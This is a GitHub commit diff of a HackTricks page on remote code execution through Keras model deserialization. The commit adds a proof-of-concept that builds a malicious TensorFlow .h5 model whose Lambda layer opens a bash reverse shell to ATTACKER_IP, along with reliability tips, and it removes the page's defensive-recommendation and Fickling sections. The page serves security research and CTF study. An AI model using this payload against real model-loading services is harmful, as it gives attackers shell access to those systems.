Skip to content

Commit 6727848

Browse files
author
HackTricks News Bot
committed
Add content from: HTB Artificial: TensorFlow .h5 model RCE → Backrest creds le...
1 parent 5168905 commit 6727848

File tree

1 file changed

+39
-61
lines changed

1 file changed

+39
-61
lines changed

src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md

Lines changed: 39 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,39 @@ Security improvements (Keras ≥ 3.9):
9191
- Safe mode default: safe_mode=True blocks unsafe Lambda serialized-function loading
9292
- Basic type checking: deserialized objects must match expected types
9393

94+
## Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE
95+
96+
Many production stacks still accept legacy TensorFlow-Keras HDF5 model files (.h5). If an attacker can upload a model that the server later loads or runs inference on, a Lambda layer can execute arbitrary Python on load/build/predict.
97+
98+
Minimal PoC to craft a malicious .h5 that executes a reverse shell when deserialized or used:
99+
100+
```python
101+
import tensorflow as tf
102+
103+
def exploit(x):
104+
import os
105+
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
106+
return x
107+
108+
m = tf.keras.Sequential()
109+
m.add(tf.keras.layers.Input(shape=(64,)))
110+
m.add(tf.keras.layers.Lambda(exploit))
111+
m.compile()
112+
m.save("exploit.h5") # legacy HDF5 container
113+
```
114+
115+
Notes and reliability tips:
116+
- Trigger points: code may run multiple times (e.g., during layer build/first call, model.load_model, and predict/fit). Make payloads idempotent.
117+
- Version pinning: match the victim’s TF/Keras/Python to avoid serialization mismatches. For example, build artifacts under Python 3.8 with TensorFlow 2.13.1 if that’s what the target uses.
118+
- Quick environment replication:
119+
120+
```dockerfile
121+
FROM python:3.8-slim
122+
RUN pip install tensorflow-cpu==2.13.1
123+
```
124+
125+
- Validation: a benign payload like os.system("ping -c 1 YOUR_IP") helps confirm execution (e.g., observe ICMP with tcpdump) before switching to a reverse shell.
126+
94127
## Post-fix gadget surface inside allowlist
95128

96129
Even with allowlisting and safe mode, a broad surface remains among allowed Keras callables. For example, keras.utils.get_file can download arbitrary URLs to user-selectable locations.
@@ -127,6 +160,9 @@ Potential impacts of allowlisted gadgets:
127160

128161
Enumerate candidate callables across keras, keras_nlp, keras_cv, keras_hub and prioritize those with file/network/process/env side effects.
129162

163+
<details>
164+
<summary>Enumerate potentially dangerous callables in allowlisted Keras modules</summary>
165+
130166
```python
131167
import importlib, inspect, pkgutil
132168

@@ -170,6 +206,8 @@ for root in ALLOWLIST:
170206
print("\n".join(sorted(candidates)[:200]))
171207
```
172208

209+
</details>
210+
173211
2) Direct deserialization testing (no .keras archive needed)
174212

175213
Feed crafted dicts directly into Keras deserializers to learn accepted params and observe side effects.
@@ -199,61 +237,6 @@ Keras exists in multiple codebases/eras with different guardrails and formats:
199237

200238
Repeat tests across codebases and formats (.keras vs legacy HDF5) to uncover regressions or missing guards.
201239

202-
## Defensive recommendations
203-
204-
- Treat model files as untrusted input. Only load models from trusted sources.
205-
- Keep Keras up to date; use Keras ≥ 3.9 to benefit from allowlisting and type checks.
206-
- Do not set safe_mode=False when loading models unless you fully trust the file.
207-
- Consider running deserialization in a sandboxed, least-privileged environment without network egress and with restricted filesystem access.
208-
- Enforce allowlists/signatures for model sources and integrity checking where possible.
209-
210-
## ML pickle import allowlisting for AI/ML models (Fickling)
211-
212-
Many AI/ML model formats (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, older TensorFlow artifacts, etc.) embed Python pickle data. Attackers routinely abuse pickle GLOBAL imports and object constructors to achieve RCE or model swapping during load. Blacklist-based scanners often miss novel or unlisted dangerous imports.
213-
214-
A practical fail-closed defense is to hook Python’s pickle deserializer and only allow a reviewed set of harmless ML-related imports during unpickling. Trail of Bits’ Fickling implements this policy and ships a curated ML import allowlist built from thousands of public Hugging Face pickles.
215-
216-
Security model for “safe” imports (intuitions distilled from research and practice): imported symbols used by a pickle must simultaneously:
217-
- Not execute code or cause execution (no compiled/source code objects, shelling out, hooks, etc.)
218-
- Not get/set arbitrary attributes or items
219-
- Not import or obtain references to other Python objects from the pickle VM
220-
- Not trigger any secondary deserializers (e.g., marshal, nested pickle), even indirectly
221-
222-
Enable Fickling’s protections as early as possible in process startup so that any pickle loads performed by frameworks (torch.load, joblib.load, etc.) are checked:
223-
224-
```python
225-
import fickling
226-
# Sets global hooks on the stdlib pickle module
227-
fickling.hook.activate_safe_ml_environment()
228-
```
229-
230-
Operational tips:
231-
- You can temporarily disable/re-enable the hooks where needed:
232-
233-
```python
234-
fickling.hook.deactivate_safe_ml_environment()
235-
# ... load fully trusted files only ...
236-
fickling.hook.activate_safe_ml_environment()
237-
```
238-
239-
- If a known-good model is blocked, extend the allowlist for your environment after reviewing the symbols:
240-
241-
```python
242-
fickling.hook.activate_safe_ml_environment(also_allow=[
243-
"package.subpackage.safe_symbol",
244-
"another.safe.import",
245-
])
246-
```
247-
248-
- Fickling also exposes generic runtime guards if you prefer more granular control:
249-
- fickling.always_check_safety() to enforce checks for all pickle.load()
250-
- with fickling.check_safety(): for scoped enforcement
251-
- fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
252-
253-
- Prefer non-pickle model formats when possible (e.g., SafeTensors). If you must accept pickle, run loaders under least privilege without network egress and enforce the allowlist.
254-
255-
This allowlist-first strategy demonstrably blocks common ML pickle exploit paths while keeping compatibility high. In ToB’s benchmark, Fickling flagged 100% of synthetic malicious files and allowed ~99% of clean files from top Hugging Face repos.
256-
257240
## References
258241

259242
- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization)
@@ -262,11 +245,6 @@ This allowlist-first strategy demonstrably blocks common ML pickle exploit paths
262245
- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550)
263246
- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e)
264247
- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3)
265-
- [Trail of Bits blog – Fickling’s new AI/ML pickle file scanner](https://blog.trailofbits.com/2025/09/16/ficklings-new-ai/ml-pickle-file-scanner/)
266-
- [Fickling – Securing AI/ML environments (README)](https://github.com/trailofbits/fickling#securing-aiml-environments)
267-
- [Fickling pickle scanning benchmark corpus](https://github.com/trailofbits/fickling/tree/master/pickle_scanning_benchmark)
268-
- [Picklescan](https://github.com/mmaitre314/picklescan), [ModelScan](https://github.com/protectai/modelscan), [model-unpickler](https://github.com/goeckslab/model-unpickler)
269-
- [Sleepy Pickle attacks background](https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/)
270-
- [SafeTensors project](https://github.com/safetensors/safetensors)
248+
- [HTB Artificial – TensorFlow .h5 Lambda RCE to root](https://0xdf.gitlab.io/2025/10/25/htb-artificial.html)
271249

272250
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)